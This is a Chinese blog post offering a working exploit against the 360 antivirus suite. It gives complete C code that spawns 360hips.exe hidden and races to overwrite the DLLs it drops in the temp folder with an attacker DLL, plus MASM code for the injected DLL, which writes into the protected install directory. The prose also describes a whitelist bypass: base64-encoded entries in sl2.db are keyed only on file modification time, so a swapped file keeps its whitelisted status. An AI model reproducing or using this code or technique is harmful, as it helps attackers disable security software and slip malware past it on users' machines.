只要是杀毒软件留给我们“输入”的地方,就有可能攻破它,就算它没有问题,我们制造问题。
下面就是注入360模块的代码,我自己写了一个demo,很久以前的代码了,一直没有放出去,我想说一点的是,只要我们进入的360安装目录里面任何一个exe的进程之后,我们就可以随便在他的安装目录里面创建文件了,保护形同虚设,你想怎么干点什么,随便你,我的demo只是在360的目录里面创建了一个fuck.txt文本,当然如果你想加白名单的话,分析下这个文件sl2.db,这个文件加密很简单,只是base64加密,360sd的白名单就放在这里,之前分析过,很happy哦,这个文件里面的没一个条目我记得只记录了白名单文件最后一次修改的时间哦,也就是你把一个文件加入白名单的时候,360sd会获得这个文件的最后一次修改的时间,木有md5记录哦,也就是说,如果这个sl2.db有记录条目,你可以替换这个白名单文件,然后修改这个文件的最后一次修改的时间,ok,然后运行这个文件,噢,360sd傻逼了。不知道现在360sd修改这个文件的加密方式了木有,噢,扯远了,我只是随便说说而已,别想歪了。嘿嘿。
ok,我的监视demo是用的c写的,测试dll是用汇编写的。
替换的dll文件的路径在c代码里面修改,默认的是c:\test.dll,使用的360的模块文件是360hips.exe,这个文件概率大。
监视demo,c代码:
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <iostream.h>
typedef DWORD (WINAPI THREADFUNC)(LPVOID lParam);
BOOL IsInjectSucc()
{
HANDLE hMutex = NULL;
hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "Thread_Exit");
if (hMutex)
{
//打开mutex成功说明注入成功了
CloseHandle(hMutex);
return 1;
}
return 0;
}
DWORD AddProcess(LPVOID lParam)
{
while(TRUE)
{
if(IsInjectSucc())
{
return 1;
}
//这里创建360的软件的进程,然后监视释放的dll文件然后替换掉。
//注意看我使用的目标exe --> 360hips.exe (因为这个概率高)
ShellExecute(NULL, "open", "C:\\Program Files\\360\\360sd\\360hips.exe", NULL, NULL, SW_HIDE);
Sleep(100);
}
return 1;
}
int main()
{
DWORD dwThreadID = 0;
CreateThread(NULL, 0, (THREADFUNC *)AddProcess, NULL, 0, &dwThreadID);
char szTempPath[MAX_PATH] = {0};
GetTempPath(MAX_PATH, szTempPath);
HANDLE hDir = CreateFile(szTempPath,
FILE_LIST_DIRECTORY,
FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (INVALID_HANDLE_VALUE == hDir)
{
return 0;
}
while (TRUE)
{
DWORD dwHadRet = 0;
char stNotify[1024] = {0};
FILE_NOTIFY_INFORMATION *lpNotify = (FILE_NOTIFY_INFORMATION *)stNotify;
//注入成功,可以退出了.
if (IsInjectSucc())
{
break;
}
BOOL dwRet = ReadDirectoryChangesW(hDir,
lpNotify,
sizeof stNotify,
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME |
FILE_NOTIFY_CHANGE_SIZE |
FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_CREATION,
&dwHadRet,
NULL,
NULL);
if (0 == dwRet)
{
continue;
}
while (TRUE)
{
if (lpNotify->Action == FILE_ACTION_MODIFIED)
{
char szFileName[1024] = {0};
WideCharToMultiByte(CP_OEMCP,0,lpNotify->FileName,-1,szFileName,sizeof(szFileName),NULL,FALSE);
//简单的过滤文件
char *lpDll = NULL;
lpDll = strrchr(szFileName, '.');
if (NULL == lpDll)
{
break;
}
lpDll = lpDll + 1;
if (lstrcmpi("dll", lpDll))
{
break;
}
//替换dll文件进行注入
char szFilePath[1024] = {0};
lstrcpy(szFilePath, szTempPath);
PathAppend(szFilePath, szFileName);
//这个dll就是我们要注入的dll文件,自己写一个dll测试就行了
char szInjectDllPath[MAX_PATH] = "c:\\test.dll";
cout<<szInjectDllPath<<endl;
cout<<szFilePath<<endl;
cout<<"替换360的dll的结果 :";
cout<<CopyFile(szInjectDllPath, szFilePath, FALSE)<<endl;
}
if (0 == lpNotify->NextEntryOffset)
{
break;
}
lpNotify = (FILE_NOTIFY_INFORMATION *)((LONG)lpNotify + (LONG)lpNotify->NextEntryOffset);
}
cout<<"******************"<<endl;
}
CloseHandle(hDir);
return 0;
}
测试dll文件,masm写的
.486
.model flat,stdcall
option casemap:none
include test.inc
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include shlwapi.inc
includelib shlwapi.lib
include debug.inc
includelib debug.lib
.code
DllEntry proc hInstance,dwReason,dwReserved
LOCAL @szFilePath[512]:byte
.if dwReason == DLL_PROCESS_ATTACH
;创建互斥量用来表示成功注入了,这个时候监视进程就可以退出了。
invoke CreateMutex,NULL,FALSE,CTEXT("Thread_Exit")
invoke MessageBox,0,0,0,0
invoke GetModuleFileName,NULL,addr @szFilePath,sizeof @szFilePath
invoke PathRemoveFileSpec,addr @szFilePath
invoke PathAppend,addr @szFilePath,CTEXT("fuck.txt")
invoke CreateFile,addr @szFilePath,GENERIC_READ or GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
invoke CloseHandle,eax
.endif
mov eax,TRUE
ret
DllEntry endp
end DllEntry
还是那么一句话,只要是有“输入”的地方,我们就可以分析进去,就可能有发现。做杀毒只是浮云,相信很多朋友耐心分析几天就可以搞定。
如果有人把代码用在不正当的地方,本人概不负责
本文共 636 个字数,平均阅读时长 ≈ 2分钟
评论 (0)